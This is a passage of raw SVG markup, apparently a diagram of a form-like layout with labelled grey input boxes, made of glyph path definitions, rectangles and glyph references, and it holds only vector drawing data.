4.578125 -1.347656 4.734375 -1.515625 C 4.890625 -1.679688 5.023438 -1.867188 5.140625 -2.078125 C 5.265625 -2.296875 5.363281 -2.519531 5.4375 -2.75 L 5.4375 -9 L 6.734375 -9 L 6.734375 -2.5625 C 6.734375 -2.125 6.75 -1.671875 6.78125 -1.203125 C 6.8125 -0.742188 6.851562 -0.34375 6.90625 0 L 6 0 L 5.671875 -1.265625 L 5.609375 -1.265625 C 5.410156 -0.867188 5.117188 -0.519531 4.734375 -0.21875 C 4.347656 0.0703125 3.867188 0.21875 3.296875 0.21875 C 2.910156 0.21875 2.570312 0.164062 2.28125 0.0625 C 2 -0.03125 1.753906 -0.203125 1.546875 -0.453125 C 1.335938 -0.703125 1.179688 -1.046875 1.078125 -1.484375 C 0.984375 -1.921875 0.9375 -2.484375 0.9375 -3.171875 L 0.9375 -9 Z M 2.234375 -9"/></symbol><symbol overflow="visible" id="U"><path d="M 1.28125 -9 L 2.578125 -9 L 2.578125 0 L 1.28125 0 Z M 1.046875 -11.734375 C 1.046875 -12.023438 1.125 -12.257812 1.28125 -12.4375 C 1.445312 -12.613281 1.660156 -12.703125 1.921875 -12.703125 C 2.191406 -12.703125 2.410156 -12.613281 2.578125 -12.4375 C 2.753906 -12.269531 2.84375 -12.035156 2.84375 -11.734375 C 2.84375 -11.441406 2.753906 -11.210938 2.578125 -11.046875 C 2.410156 -10.890625 2.191406 -10.8125 1.921875 -10.8125 C 1.660156 -10.8125 1.445312 -10.894531 1.28125 -11.0625 C 1.125 -11.238281 1.046875 -11.460938 1.046875 -11.734375 Z M 1.046875 -11.734375"/></symbol><symbol overflow="visible" id="V"><path d="M 2.453125 -2.140625 C 2.453125 -1.722656 2.507812 -1.421875 2.625 -1.234375 C 2.738281 -1.054688 2.894531 -0.96875 3.09375 -0.96875 C 3.34375 -0.96875 3.640625 -1.035156 3.984375 -1.171875 L 4.109375 -0.125 C 3.953125 -0.03125 3.734375 0.046875 3.453125 0.109375 C 3.171875 0.171875 2.914062 0.203125 2.6875 0.203125 C 2.226562 0.203125 1.859375 0.0625 1.578125 -0.21875 C 1.296875 -0.5 1.15625 -0.992188 1.15625 -1.703125 L 1.15625 -12.59375 L 2.453125 -12.59375 Z M 2.453125 -2.140625"/></symbol><symbol overflow="visible" id="W"><path d="M 6.734375 0.40625 C 6.734375 1.570312 6.472656 2.429688 5.953125 2.984375 C 5.441406 3.535156 4.691406 3.8125 3.703125 3.8125 C 3.109375 3.8125 2.617188 3.757812 2.234375 3.65625 C 1.847656 3.5625 1.535156 3.445312 1.296875 3.3125 L 1.671875 2.203125 C 1.910156 2.304688 2.171875 2.40625 2.453125 2.5 C 2.742188 2.59375 3.101562 2.640625 3.53125 2.640625 C 4.257812 2.640625 4.757812 2.4375 5.03125 2.03125 C 5.300781 1.625 5.4375 0.941406 5.4375 -0.015625 L 5.4375 -0.6875 L 5.375 -0.6875 C 5.1875 -0.40625 4.941406 -0.1875 4.640625 -0.03125 C 4.335938 0.125 3.953125 0.203125 3.484375 0.203125 C 2.515625 0.203125 1.800781 -0.171875 1.34375 -0.921875 C 0.894531 -1.671875 0.671875 -2.851562 0.671875 -4.46875 C 0.671875 -6.007812 0.96875 -7.175781 1.5625 -7.96875 C 2.15625 -8.757812 3.03125 -9.15625 4.1875 -9.15625 C 4.757812 -9.15625 5.25 -9.101562 5.65625 -9 C 6.0625 -8.894531 6.421875 -8.769531 6.734375 -8.625 Z M 5.4375 -7.703125 C 5.070312 -7.890625 4.609375 -7.984375 4.046875 -7.984375 C 3.429688 -7.984375 2.9375 -7.703125 2.5625 -7.140625 C 2.195312 -6.585938 2.015625 -5.703125 2.015625 -4.484375 C 2.015625 -3.972656 2.046875 -3.503906 2.109375 -3.078125 C 2.171875 -2.660156 2.269531 -2.289062 2.40625 -1.96875 C 2.550781 -1.65625 2.734375 -1.410156 2.953125 -1.234375 C 3.179688 -1.054688 3.457031 -0.96875 3.78125 -0.96875 C 4.238281 -0.96875 4.597656 -1.085938 4.859375 -1.328125 C 5.117188 -1.566406 5.3125 -1.925781 5.4375 -2.40625 Z M 5.4375 -7.703125"/></symbol><symbol overflow="visible" id="X"><path d="M 5.40625 -11.5 C 5.269531 -11.519531 5.070312 -11.546875 4.8125 -11.578125 C 4.550781 -11.617188 4.296875 -11.640625 4.046875 -11.640625 C 3.734375 -11.640625 3.488281 -11.578125 3.3125 -11.453125 C 3.132812 -11.335938 2.992188 -11.171875 2.890625 -10.953125 C 2.796875 -10.734375 2.738281 -10.457031 2.71875 -10.125 C 2.695312 -9.789062 2.6875 -9.414062 2.6875 -9 L 4.109375 -9 L 4.109375 -7.828125 L 2.6875 -7.828125 L 2.6875 0 L 1.390625 0 L 1.390625 -7.828125 L 0.28125 -7.828125 L 0.28125 -9 L 1.390625 -9 L 1.390625 -9.5 C 1.390625 -10.632812 1.585938 -11.46875 1.984375 -12 C 2.390625 -12.539062 3.066406 -12.8125 4.015625 -12.8125 C 4.203125 -12.8125 4.425781 -12.800781 4.6875 -12.78125 C 4.945312 -12.769531 5.203125 -12.75 5.453125 -12.71875 C 5.703125 -12.6875 5.9375 -12.648438 6.15625 -12.609375 C 6.382812 -12.578125 6.566406 -12.535156 6.703125 -12.484375 L 6.703125 -2.046875 C 6.703125 -1.648438 6.753906 -1.367188 6.859375 -1.203125 C 6.972656 -1.035156 7.132812 -0.953125 7.34375 -0.953125 C 7.601562 -0.953125 7.90625 -1.019531 8.25 -1.15625 L 8.328125 -0.109375 C 8.171875 -0.015625 7.957031 0.0625 7.6875 0.125 C 7.425781 0.1875 7.164062 0.21875 6.90625 0.21875 C 6.457031 0.21875 6.09375 0.078125 5.8125 -0.203125 C 5.539062 -0.492188 5.40625 -0.988281 5.40625 -1.6875 Z M 5.40625 -11.5"/></symbol></defs><path fill="#fff" d="M0 0H707V478H0z"/><path d="M 24.194 15.513817 L 59.46568 15.513817 L 59.46568 38.091747 L 24.194 38.091747 Z M 24.194 15.513817" transform="matrix(20 0 0 20 -482.88 -284.624)" fill-rule="evenodd" fill="#fff" stroke-width=".1" stroke="#fff" stroke-miterlimit="10"/><path d="M 57.890625 44.359375 L 187.191406 44.359375 L 187.191406 70.609375 L 57.890625 70.609375 Z M 57.890625 44.359375" fill-rule="evenodd" fill="#fff"/><use xlink:href="#a" x="57.891" y="65.012"/><use xlink:href="#b" x="66.367" y="65.012"/><use xlink:href="#c" x="75" y="65.012"/><use xlink:href="#d" x="81.758" y="65.012"/><use xlink:href="#e" x="87.266" y="65.012"/><use xlink:href="#f" x="95.273" y="65.012"/><use xlink:href="#g" x="99.941" y="65.012"/><use xlink:href="#h" x="109.395" y="65.012"/><use xlink:href="#h" x="118.047" y="65.012"/><use xlink:href="#i" x="126.699" y="65.012"/><use xlink:href="#j" x="132.188" y="65.012"/><use xlink:href="#c" x="140.449" y="65.012"/><use xlink:href="#c" x="147.207" y="65.012"/><use xlink:href="#k" x="153.965" y="65.012"/><use xlink:href="#l" x="160.879" y="65.012"/><use xlink:href="#m" x="168.398" y="65.012"/><use xlink:href="#j" x="177.09" y="65.012"/><path d="M 26.601422 18.296239 L 57.058062 18.296239" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.601422 36.158153 L 57.058062 36.158153" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.601422 18.296239 L 26.601422 18.296239 C 26.435797 18.296239 26.301422 18.430419 26.301422 18.596239" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.358062 18.596239 L 57.358062 18.596239 C 57.358062 18.430419 57.223883 18.296239 57.058062 18.296239" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.301422 18.596239 L 26.301422 35.858153" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.358062 18.596239 L 57.358062 35.858153" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.301422 35.858153 L 26.301422 35.858153 C 26.301422 36.023778 26.435797 36.158153 26.601422 36.158153" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.058062 36.158153 L 57.058062 36.158153 C 57.223883 36.158153 57.358062 36.023778 57.358062 35.858153" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 81.667969 125.710938 L 176.96875 125.710938 L 176.96875 151.960938 L 81.667969 151.960938 Z M 81.667969 125.710938" fill-rule="evenodd" fill="#fff"/><use xlink:href="#n" x="83.082" y="146.359"/><use xlink:href="#o" x="93.102" y="146.359"/><use xlink:href="#o" x="102.008" y="146.359"/><use xlink:href="#p" x="110.914" y="146.359"/><use xlink:href="#q" x="116.773" y="146.359"/><use xlink:href="#r" x="125.328" y="146.359"/><use xlink:href="#s" x="132.32" y="146.359"/><use xlink:href="#t" x="136.422" y="146.359"/><use xlink:href="#u" x="141.285" y="146.359"/><use xlink:href="#v" x="145.777" y="146.359"/><use xlink:href="#q" x="154.762" y="146.359"/><use xlink:href="#s" x="163.316" y="146.359"/><use xlink:href="#w" x="167.418" y="146.359"/><path d="M 197.308594 118.835938 L 605.308594 118.835938 L 605.308594 158.835938 L 197.308594 158.835938 Z M 197.308594 118.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 124.835938 L 197.308594 118.835938 C 193.996094 118.835938 191.308594 121.519531 191.308594 124.835938 Z M 197.308594 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 124.835938 L 611.308594 124.835938 C 611.308594 121.519531 608.625 118.835938 605.308594 118.835938 Z M 605.308594 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.308594 124.835938 L 611.308594 124.835938 L 611.308594 152.835938 L 191.308594 152.835938 Z M 191.308594 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 152.835938 L 191.308594 152.835938 C 191.308594 156.148438 193.996094 158.835938 197.308594 158.835938 Z M 197.308594 152.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 152.835938 L 605.308594 158.835938 C 608.625 158.835938 611.308594 156.148438 611.308594 152.835938 Z M 605.308594 152.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.00943 20.172997 L 54.40943 20.172997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 22.172997 L 54.40943 22.172997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 20.172997 L 34.00943 20.172997 C 33.843805 20.172997 33.70943 20.307177 33.70943 20.472997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 20.472997 L 54.70943 20.472997 C 54.70943 20.307177 54.57525 20.172997 54.40943 20.172997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 20.472997 L 33.70943 21.872997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 20.472997 L 54.70943 21.872997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 21.872997 L 33.70943 21.872997 C 33.70943 22.038622 33.843805 22.172997 34.00943 22.172997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.40943 22.172997 L 54.40943 22.172997 C 54.57525 22.172997 54.70943 22.038622 54.70943 21.872997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 191.308594 161.433594 L 432.507812 161.433594 L 432.507812 184.832031 L 191.308594 184.832031 Z M 191.308594 161.433594" fill-rule="evenodd" fill="#fff"/><g fill="#4d4d4d"><use xlink:href="#x" x="191.309" y="179.836"/><use xlink:href="#y" x="199.004" y="179.836"/><use xlink:href="#z" x="203.945" y="179.836"/><use xlink:href="#A" x="208.887" y="179.836"/><use xlink:href="#A" x="216.211" y="179.836"/><use xlink:href="#y" x="223.652" y="179.836"/><use xlink:href="#B" x="228.594" y="179.836"/><use xlink:href="#C" x="232.402" y="179.836"/><use xlink:href="#D" x="239.609" y="179.836"/><use xlink:href="#D" x="247.402" y="179.836"/><use xlink:href="#z" x="255.195" y="179.836"/><use xlink:href="#A" x="260.137" y="179.836"/><use xlink:href="#E" x="267.578" y="179.836"/><use xlink:href="#E" x="273.652" y="179.836"/><use xlink:href="#F" x="279.727" y="179.836"/><use xlink:href="#B" x="281.895" y="179.836"/><use xlink:href="#G" x="285.703" y="179.836"/><use xlink:href="#H" x="291.953" y="179.836"/><use xlink:href="#I" x="295.156" y="179.836"/><use xlink:href="#H" x="304.629" y="179.836"/><use xlink:href="#B" x="306.66" y="179.836"/><use xlink:href="#J" x="310.469" y="179.836"/><use xlink:href="#K" x="318.281" y="179.836"/><use xlink:href="#L" x="325.742" y="179.836"/><use xlink:href="#F" x="333.164" y="179.836"/><use xlink:href="#B" x="335.332" y="179.836"/><use xlink:href="#M" x="339.141" y="179.836"/><use xlink:href="#K" x="345.254" y="179.836"/><use xlink:href="#N" x="353.027" y="179.836"/><use xlink:href="#O" x="364.746" y="179.836"/><use xlink:href="#C" x="372.578" y="179.836"/><use xlink:href="#P" x="379.785" y="179.836"/><use xlink:href="#Q" x="387.695" y="179.836"/><use xlink:href="#B" x="393.984" y="179.836"/><use xlink:href="#P" x="397.793" y="179.836"/><use xlink:href="#C" x="405.703" y="179.836"/><use xlink:href="#N" x="412.91" y="179.836"/><use xlink:href="#A" x="424.629" y="179.836"/></g><path d="M 48.115289 24.841552 L 44.652789 24.83745" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 44.652789 24.83745 C 44.652789 24.71245 44.777984 24.587645 44.902984 24.587645 C 45.027984 24.587841 45.152789 24.713036 45.152789 24.838036 C 45.152594 24.963036 45.027398 25.087841 44.902398 25.087645 C 44.777398 25.087645 44.652594 24.96245 44.652789 24.83745" transform="matrix(20 0 0 20 -482.88 -284.624)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 81.667969 207.042969 L 176.96875 207.042969 L 176.96875 233.292969 L 81.667969 233.292969 Z M 81.667969 207.042969" fill-rule="evenodd" fill="#fff"/><use xlink:href="#n" x="83.082" y="227.691"/><use xlink:href="#o" x="93.102" y="227.691"/><use xlink:href="#o" x="102.008" y="227.691"/><use xlink:href="#p" x="110.914" y="227.691"/><use xlink:href="#q" x="116.773" y="227.691"/><use xlink:href="#r" x="125.328" y="227.691"/><use xlink:href="#s" x="132.32" y="227.691"/><use xlink:href="#t" x="136.422" y="227.691"/><use xlink:href="#u" x="141.285" y="227.691"/><use xlink:href="#v" x="145.777" y="227.691"/><use xlink:href="#q" x="154.762" y="227.691"/><use xlink:href="#s" x="163.316" y="227.691"/><use xlink:href="#R" x="167.418" y="227.691"/><path d="M 197.308594 200.167969 L 605.308594 200.167969 L 605.308594 240.167969 L 197.308594 240.167969 Z M 197.308594 200.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 206.167969 L 197.308594 200.167969 C 193.996094 200.167969 191.308594 202.855469 191.308594 206.167969 Z M 197.308594 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 206.167969 L 611.308594 206.167969 C 611.308594 202.855469 608.625 200.167969 605.308594 200.167969 Z M 605.308594 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.308594 206.167969 L 611.308594 206.167969 L 611.308594 234.167969 L 191.308594 234.167969 Z M 191.308594 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 234.167969 L 191.308594 234.167969 C 191.308594 237.480469 193.996094 240.167969 197.308594 240.167969 Z M 197.308594 234.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 234.167969 L 605.308594 240.167969 C 608.625 240.167969 611.308594 237.480469 611.308594 234.167969 Z M 605.308594 234.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.00943 24.239598 L 54.40943 24.239598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 26.239598 L 54.40943 26.239598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 24.239598 L 34.00943 24.239598 C 33.843805 24.239598 33.70943 24.373973 33.70943 24.539598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 24.539598 L 54.70943 24.539598 C 54.70943 24.373973 54.57525 24.239598 54.40943 24.239598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 24.539598 L 33.70943 25.939598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 24.539598 L 54.70943 25.939598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 25.939598 L 33.70943 25.939598 C 33.70943 26.105223 33.843805 26.239598 34.00943 26.239598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.40943 26.239598 L 54.40943 26.239598 C 54.57525 26.239598 54.70943 26.105223 54.70943 25.939598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 190.808594 242.433594 L 415.707031 242.433594 L 415.707031 265.832031 L 190.808594 265.832031 Z M 190.808594 242.433594" fill-rule="evenodd" fill="#fff"/><g fill="#4d4d4d"><use xlink:href="#S" x="190.809" y="260.836"/><use xlink:href="#O" x="199.324" y="260.836"/><use xlink:href="#C" x="207.156" y="260.836"/><use xlink:href="#z" x="214.363" y="260.836"/><use xlink:href="#y" x="219.734" y="260.836"/><use xlink:href="#N" x="224.676" y="260.836"/><use xlink:href="#A" x="236.395" y="260.836"/><use xlink:href="#P" x="243.836" y="260.836"/><use xlink:href="#y" x="251.746" y="260.836"/><use xlink:href="#F" x="256.688" y="260.836"/><use xlink:href="#B" x="258.855" y="260.836"/><use xlink:href="#E" x="262.664" y="260.836"/><use xlink:href="#T" x="268.738" y="260.836"/><use xlink:href="#U" x="276.551" y="260.836"/><use xlink:href="#y" x="280.457" y="260.836"/><use xlink:href="#A" x="285.281" y="260.836"/><use xlink:href="#F" x="292.723" y="260.836"/><use xlink:href="#B" x="294.891" y="260.836"/><use xlink:href="#T" x="298.699" y="260.836"/><use xlink:href="#P" x="306.512" y="260.836"/><use xlink:href="#U" x="314.422" y="260.836"/><use xlink:href="#y" x="318.328" y="260.836"/><use xlink:href="#F" x="323.27" y="260.836"/><use xlink:href="#B" x="325.438" y="260.836"/><use xlink:href="#J" x="329.246" y="260.836"/><use xlink:href="#T" x="337.059" y="260.836"/><use xlink:href="#U" x="344.871" y="260.836"/><use xlink:href="#V" x="348.777" y="260.836"/><use xlink:href="#D" x="352.977" y="260.836"/><use xlink:href="#U" x="360.77" y="260.836"/><use xlink:href="#P" x="364.676" y="260.836"/><use xlink:href="#W" x="372.586" y="260.836"/><use xlink:href="#F" x="380.359" y="260.836"/><use xlink:href="#B" x="382.527" y="260.836"/><use xlink:href="#X" x="386.336" y="260.836"/><use xlink:href="#K" x="394.773" y="260.836"/><use xlink:href="#K" x="402.547" y="260.836"/><use xlink:href="#z" x="410.32" y="260.836"/></g><path d="M 148.910156 290.542969 L 176.308594 290.542969 L 176.308594 316.792969 L 148.910156 316.792969 Z M 148.910156 290.542969" fill-rule="evenodd" fill="#fff"/><use xlink:href="#Y" x="149.238" y="311.191"/><use xlink:href="#u" x="158.379" y="311.191"/><use xlink:href="#Z" x="162.871" y="311.191"/><use xlink:href="#aa" x="168.301" y="311.191"/><path d="M 197.308594 283.667969 L 385.308594 283.667969 L 385.308594 323.667969 L 197.308594 323.667969 Z M 197.308594 283.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 289.667969 L 197.308594 283.667969 C 193.996094 283.667969 191.308594 286.355469 191.308594 289.667969 Z M 197.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 385.308594 289.667969 L 391.308594 289.667969 C 391.308594 286.355469 388.625 283.667969 385.308594 283.667969 Z M 385.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.308594 289.667969 L 391.308594 289.667969 L 391.308594 317.667969 L 191.308594 317.667969 Z M 191.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 317.667969 L 191.308594 317.667969 C 191.308594 320.980469 193.996094 323.667969 197.308594 323.667969 Z M 197.308594 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 385.308594 317.667969 L 385.308594 323.667969 C 388.625 323.667969 391.308594 320.980469 391.308594 317.667969 Z M 385.308594 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.00943 28.414598 L 43.40943 28.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 30.414598 L 43.40943 30.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 28.414598 L 34.00943 28.414598 C 33.843805 28.414598 33.70943 28.548973 33.70943 28.714598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.70943 28.714598 L 43.70943 28.714598 C 43.70943 28.548973 43.57525 28.414598 43.40943 28.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 28.714598 L 33.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.70943 28.714598 L 43.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 30.114598 L 33.70943 30.114598 C 33.70943 30.280223 33.843805 30.414598 34.00943 30.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.40943 30.414598 L 43.40943 30.414598 C 43.57525 30.414598 43.70943 30.280223 43.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 113.960938 361.773438 L 176.3125 361.773438 L 176.3125 388.023438 L 113.960938 388.023438 Z M 113.960938 361.773438" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#ab" x="114.883" y="382.422"/><use xlink:href="#ac" x="123.789" y="382.422"/><use xlink:href="#ad" x="128.555" y="382.422"/><use xlink:href="#s" x="137.461" y="382.422"/><use xlink:href="#Y" x="141.348" y="382.422"/><use xlink:href="#ae" x="149.941" y="382.422"/><use xlink:href="#o" x="158.848" y="382.422"/><use xlink:href="#q" x="167.754" y="382.422"/></g><path d="M 197.308594 354.894531 L 305.308594 354.894531 L 305.308594 394.894531 L 197.308594 394.894531 Z M 197.308594 354.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 360.894531 L 197.308594 354.894531 C 193.996094 354.894531 191.308594 357.582031 191.308594 360.894531 Z M 197.308594 360.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 305.308594 360.894531 L 311.308594 360.894531 C 311.308594 357.582031 308.625 354.894531 305.308594 354.894531 Z M 305.308594 360.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.308594 360.894531 L 311.308594 360.894531 L 311.308594 388.894531 L 191.308594 388.894531 Z M 191.308594 360.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 388.894531 L 191.308594 388.894531 C 191.308594 392.210938 193.996094 394.894531 197.308594 394.894531 Z M 197.308594 388.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 305.308594 388.894531 L 305.308594 394.894531 C 308.625 394.894531 311.308594 392.210938 311.308594 388.894531 Z M 305.308594 388.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.00943 31.975927 L 39.40943 31.975927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 33.975927 L 39.40943 33.975927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 31.975927 L 34.00943 31.975927 C 33.843805 31.975927 33.70943 32.110302 33.70943 32.275927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.70943 32.275927 L 39.70943 32.275927 C 39.70943 32.110302 39.57525 31.975927 39.40943 31.975927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 32.275927 L 33.70943 33.675927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.70943 32.275927 L 39.70943 33.675927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 33.675927 L 33.70943 33.675927 C 33.70943 33.841747 33.843805 33.975927 34.00943 33.975927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.40943 33.975927 L 39.40943 33.975927 C 39.57525 33.975927 39.70943 33.841747 39.70943 33.675927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 477.308594 283.667969 L 605.308594 283.667969 L 605.308594 323.667969 L 477.308594 323.667969 Z M 477.308594 283.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 477.308594 289.667969 L 477.308594 283.667969 C 473.996094 283.667969 471.308594 286.355469 471.308594 289.667969 Z M 477.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 289.667969 L 611.308594 289.667969 C 611.308594 286.355469 608.625 283.667969 605.308594 283.667969 Z M 605.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 471.308594 289.667969 L 611.308594 289.667969 L 611.308594 317.667969 L 471.308594 317.667969 Z M 471.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 477.308594 317.667969 L 471.308594 317.667969 C 471.308594 320.980469 473.996094 323.667969 477.308594 323.667969 Z M 477.308594 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 317.667969 L 605.308594 323.667969 C 608.625 323.667969 611.308594 320.980469 611.308594 317.667969 Z M 605.308594 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 48.00943 28.414598 L 54.40943 28.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 48.00943 30.414598 L 54.40943 30.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 48.00943 28.414598 L 48.00943 28.414598 C 47.843805 28.414598 47.70943 28.548973 47.70943 28.714598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 28.714598 L 54.70943 28.714598 C 54.70943 28.548973 54.57525 28.414598 54.40943 28.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 47.70943 28.714598 L 47.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 28.714598 L 54.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 47.70943 30.114598 L 47.70943 30.114598 C 